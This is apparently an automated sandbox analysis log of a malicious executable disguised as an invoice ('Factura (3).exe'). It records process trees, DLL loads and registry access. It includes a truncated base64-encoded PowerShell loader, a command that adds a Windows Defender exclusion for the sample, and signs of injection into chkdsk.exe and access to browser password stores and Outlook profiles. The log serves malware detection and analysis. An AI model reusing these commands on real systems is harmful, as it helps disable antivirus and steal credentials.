Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT ParentProcessId FROM Win32_Process WHERE ProcessId = 7492
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT ParentProcessId FROM Win32_Process WHERE ProcessId = 7492

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Factura (3).exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004FD8000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1751891987.0000000004FD8000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3764249613.0000000005004000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3764249613.0000000004FE1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Factura (3).exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\Factura (3).exe "C:\Users\user\Desktop\Factura (3).exe"
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA1ADAALAAgADAAeABCADAALAAgADAAeAA1AEIALAAgADAAeAAzAEQALAAgADAAeAA3ADEALAAgADAAeAA4ADAALAAgADAAeABBADcALAAgADAAeABEAEMALAAgADAAeABBADgALAAgADAAeAA1AEMALAAgADAAeAAyADYALAAgADAAeAA5AEEALAAgADAAeAA3AEIALAAgADAAeAA5ADIALAAgADAAeABEAEQALAAgADAAeABFADcALAAgADAAeAA3ADYALAAgADAAeABEADAALAAgADAAeABDAEYALAAgADAAeAA0ADIALAAgADAAeAA5ADAALAAgADAAeABCAEIALAAgADAAeAA2AEYALAAgADAAeAA1AEYALAAgADAAeABDADQALAAgADAAeABCADgALAAgADAAeAAxAEQALAAgADAAeABBADYALAAgADAAeABCAEUALAAgADAAeABFADQALAAgADAAeAA2AEMALAAgADAAeAAzADUAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABFADcALAAgADAAeAA5ADkALAAgADAAeAAyADEALAAgADAAeAAyADcALAAgADAAeAA1AEEALAAgADAAeAAyAEQALAAgADAAeAAzADEALAAgADAAeAA1ADMALAAgADAAeAAwAEUALAAgADA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\calc.exe "C:\Windows\System32\calc.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7492 -s 2236
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe "C:\Windows\SysWOW64\chkdsk.exe"
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA1ADAALAAgADAAeABCADAALAAgADAAeAA1AEIALAAgADAAeAAzAEQALAAgADAAeAA3ADEALAAgADAAeAA4ADAALAAgADAAeABBADcALAAgADAAeABEAEMALAAgADAAeABBADgALAAgADAAeAA1AEMALAAgADAAeAAyADYALAAgADAAeAA5AEEALAAgADAAeAA3AEIALAAgADAAeAA5ADIALAAgADAAeABEAEQALAAgADAAeABFADcALAAgADAAeAA3ADYALAAgADAAeABEADAALAAgADAAeABDAEYALAAgADAAeAA0ADIALAAgADAAeAA5ADAALAAgADAAeABCAEIALAAgADAAeAA2AEYALAAgADAAeAA1AEYALAAgADAAeABDADQALAAgADAAeABCADgALAAgADAAeAAxAEQALAAgADAAeABBADYALAAgADAAeABCAEUALAAgADAAeABFADQALAAgADAAeAA2AEMALAAgADAAeAAzADUAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABFADcALAAgADAAeAA5ADkALAAgADAAeAAyADEALAAgADAAeAAyADcALAAgADAAeAA1AEEALAAgADAAeAAyAEQALAAgADAAeAAzADEALAAgADAAeAA1ADMALAAgADAAeAAwAEUALAAgADA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\calc.exe "C:\Windows\System32\calc.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe "C:\Windows\SysWOW64\chkdsk.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Factura (3).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura (3).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\chkdsk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\chkdsk.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Loading BitLocker PowerShell Module

Source: Factura (3).exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Factura (3).exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Factura (3).exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Configuration.Install.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbp source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb! source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbN source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
